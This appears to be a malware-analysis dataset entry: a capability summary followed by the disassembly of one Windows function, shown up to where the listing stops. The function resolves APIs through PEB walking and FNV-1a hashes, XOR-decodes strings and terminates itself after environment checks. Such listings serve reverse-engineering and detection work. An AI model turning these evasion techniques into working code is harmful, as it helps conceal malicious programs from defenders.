Function at 0x140031000
Capabilities:
Access peb ldr_data
Delete file
Encode data using xor
Enumerate gui resources
Execute command
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x978]
sub rsp, 0xa50
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400c6088]
xor rax, rsp
mov qword [rbp + 0x910], rax
xor r14d, r14d
xor edx, edx
lea rcx, [0x14000fc80]
call qword [sym.imp.USER32.dll_EnumWindows]
lea rcx, [0x1400c7610]
call fcn.14004c360
lea rdx, [0x1400279a0]
lea rcx, [rbp + 0x198]
call fcn.14003edf0
nop
lea rcx, [rbp + 0x198]
call fcn.140009260
nop
cmp dword [rbp + 0x1a0], r14d
jne 0x14003c3da
call fcn.140005bb0
call fcn.140005bb0
lea rdx, [0x1400217b0]
lea rcx, [rbp + 0x1a8]
call fcn.14003edf0
nop
lea rcx, [rbp + 0x1a8]
call fcn.140009260
nop
cmp dword [rbp + 0x1b0], r14d
jne 0x14003c3da
call fcn.140005bb0
call fcn.140005bb0
lea rdx, [0x140011390]
lea rcx, [rbp + 0x1b8]
call fcn.14003ee80
nop
lea rcx, [rbp + 0x1b8]
call fcn.140009260
nop
cmp dword [rbp + 0x1c0], r14d
jne 0x14003c3da
call fcn.140005bb0
call fcn.140005bb0
call fcn.1400115e0
call fcn.14002d5f0
call fcn.140005bb0
call fcn.1400115e0
call fcn.14002acc0
call fcn.140005bb0
call fcn.140005bb0
lea rdx, [0x14002b0a0]
lea rcx, [rbp + 0x1c8]
call fcn.14003edf0
nop
lea rcx, [rbp + 0x1c8]
call fcn.140009260
nop
cmp dword [rbp + 0x1d0], r14d
jne 0x14003c3da
call fcn.140005bb0
call fcn.140005bb0
lea rdx, [0x14002ae90]
lea rcx, [rbp + 0x1d8]
call fcn.14003edf0
nop
lea rcx, [rbp + 0x1d8]
call fcn.140009260
nop
cmp dword [rbp + 0x1e0], r14d
jne 0x14003c3da
call fcn.140005bb0
call fcn.140005bb0
cmp byte [0x1400c734e], r14b
je 0x14003c3cc
mov byte [0x1400c734e], r14b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
call fcn.14002a410
call fcn.14002cea0
test al, al
je 0x140031670
xor eax, eax
mov byte [rsp + 0x46], al
lea rdx, [rbp + 0x158]
lea rcx, [rsp + 0x46]
call fcn.14003c440
mov rbx, rax
lea r12d, [r14 + 4]
lea r13d, [r14 + 0x1f]
mov edi, dword [reloc.WS2_32.dll_accept]
cmp byte [rax + 0xb], r14b
je 0x140031340
mov r8d, r14d
cmp edi, 2
jl 0x140031306
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm5, r12d
movd xmm6, r13d
movdqa xmm2, xmmword [0x1400b8680]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
movdqa xmm3, xmmword [0x1400b8690]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax + 4]
xorps xmm2, xmm0
movd dword [rax + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140031310
xor eax, eax
mov byte [rsp + 0x20], al
lea rdx, [rbp + 0x7b8]
lea rcx, [rsp + 0x20]
call fcn.14003c3f0
mov r10, rax
cmp byte [rax + 0x3d], 0
je 0x1400314f0
cmp edi, 2
jl 0x1400314b3
movdqa xmm5, xmmword [0x1400b8680]
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm8, r13d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
lea rcx, [rcx + 8]
cmp r14d, 0x38
jl 0x1400313b0
cmp r14d, 0x3e
jge 0x1400314f0
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r14d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x3e
jl 0x1400314c0
xor r9d, r9d
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140011940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031596
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031596
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031591
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031570
cmp r8d, 0xcded1a85
je 0x14003159b
test r9d, r9d
jne 0x140031550
mov rax, qword [rax]
jmp 0x140031520
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031646
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031646
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031641
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031620
cmp r8d, 0xe80fd3a
je 0x14003164b
test r9d, r9d
jne 0x140031600
mov rax, qword [rax]
jmp 0x1400315d0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xffffffff
call rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
call fcn.140005bb0
call fcn.14002acc0
cmp byte [0x1400c734a], 0
jne 0x1400317f0
call fcn.140011940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031716
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031716
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031711
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400316f0
cmp r8d, 0xcded1a85
je 0x14003171b
test r9d, r9d
jne 0x1400316d0
mov rax, qword [rax]
jmp 0x1400316a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400317c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400317c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400317c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400317a0
cmp r8d, 0xe80fd3a
je 0x1400317cb
test r9d, r9d
jne 0x140031780
mov rax, qword [rax]
jmp 0x140031750
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xffffffff
call rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
call fcn.140005bb0
cmp byte [0x1400c734e], 0
jne 0x140031970
call fcn.140011940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031896
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031896
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031891
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031870
cmp r8d, 0xcded1a85
je 0x14003189b
test r9d, r9d
jne 0x140031850
mov rax, qword [rax]
jmp 0x140031820
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031946
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031946
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031941
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031920
cmp r8d, 0xe80fd3a
je 0x14003194b
test r9d, r9d
jne 0x140031900
mov rax, qword [rax]
jmp 0x1400318d0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xffffffff
call rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
movzx eax, byte [0x1400c7341]
test al, al
je 0x140031af0
call fcn.140011940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031a16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031a16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031a11
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400319f0
cmp r8d, 0xcded1a85
je 0x140031a1b
test r9d, r9d
jne 0x1400319d0
mov rax, qword [rax]
jmp 0x1400319a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031ac6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031ac6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031ac1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031aa0
cmp r8d, 0xe80fd3a
je 0x140031acb
test r9d, r9d
jne 0x140031a80
mov rax, qword [rax]
jmp 0x140031a50
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xffffffff
call rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
call fcn.140005bb0
call fcn.140005bb0
movzx eax, byte [0x1400c734c]
test al, al
jne 0x140031c70
call fcn.140011940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031b96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031b96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031b91
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031b70
cmp r8d, 0xcded1a85
je 0x140031b9b
test r9d, r9d
jne 0x140031b50
mov rax, qword [rax]
jmp 0x140031b20
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031c46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031c46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031c41
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031c20
cmp r8d, 0xe80fd3a
je 0x140031c4b
test r9d, r9d
jne 0x140031c00
mov rax, qword [rax]
jmp 0x140031bd0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xffffffff
call rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
mov eax, dword [str.Q_G5_h]
mov dword [rsp + 0x48], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031d06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031d06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031d01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031ce0
cmp r8d, 0x491e0a9c
je 0x140031d0b
test r9d, r9d
jne 0x140031cc0
mov rax, qword [rax]
jmp 0x140031c90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r12d, 4
lea r13d, [r12 + 0x1b]
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x140031dc7
movdqa xmm3, xmmword [0x1400b8680]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b86e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b86e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400b86a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rsp + 0x48]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
jmp 0x140031dff
lea r9, [rsp + 0x48]
mov r8d, r14d
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r12d
jl 0x140031dd0
lea rcx, [rsp + 0x48]
call r11
mov rax, qword [0x1400b7298]
mov qword [rbp + 0xd8], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031ea6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031ea6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031ea1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031e80
cmp r8d, 0xe76fb4aa
je 0x140031eab
test r9d, r9d
jne 0x140031e60
mov rax, qword [rax]
jmp 0x140031e30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140031fd7
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400b8680]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd8]
xorps xmm2, xmm1
movd dword [rbp + 0xd8], xmm2
movdqa xmm3, xmmword [0x1400b8690]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
jmp 0x140032020
lea r9, [rbp + 0xd8]
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140031ff0
lea rcx, [rbp + 0xd8]
call r11
mov eax, dword [0x1400b6d58]
mov dword [rbp + 8], eax
movzx eax, word [0x1400b6d5c]
mov word [rbp + 0xc], ax
movzx eax, byte [str.8jgdxWV]
mov byte [rbp + 0xe], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400320d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400320d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400320d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400320b0
cmp r8d, 0xe76fb4aa
je 0x1400320db
test r9d, r9d
jne 0x140032090
mov rax, qword [rax]
jmp 0x140032060
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp + 8], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp + 9], 0x33
xor byte [rbp + 0xa], 0x34
xor byte [rbp + 0xb], 0x35
xor byte [rbp + 0xc], 0x36
xor byte [rbp + 0xd], 0x37
xor byte [rbp + 0xe], 0x38
lea rcx, [rbp + 8]
call rdx
mov eax, dword [0x1400b6fb4]
mov dword [rbp - 0x68], eax
movzx eax, word [0x1400b6fb8]
mov word [rbp - 0x64], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400321b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400321b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400321b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140032190
cmp r8d, 0xe76fb4aa
je 0x1400321bb
test r9d, r9d
jne 0x140032170
mov rax, qword [rax]
jmp 0x140032140
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp - 0x68], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp - 0x67], 0x33
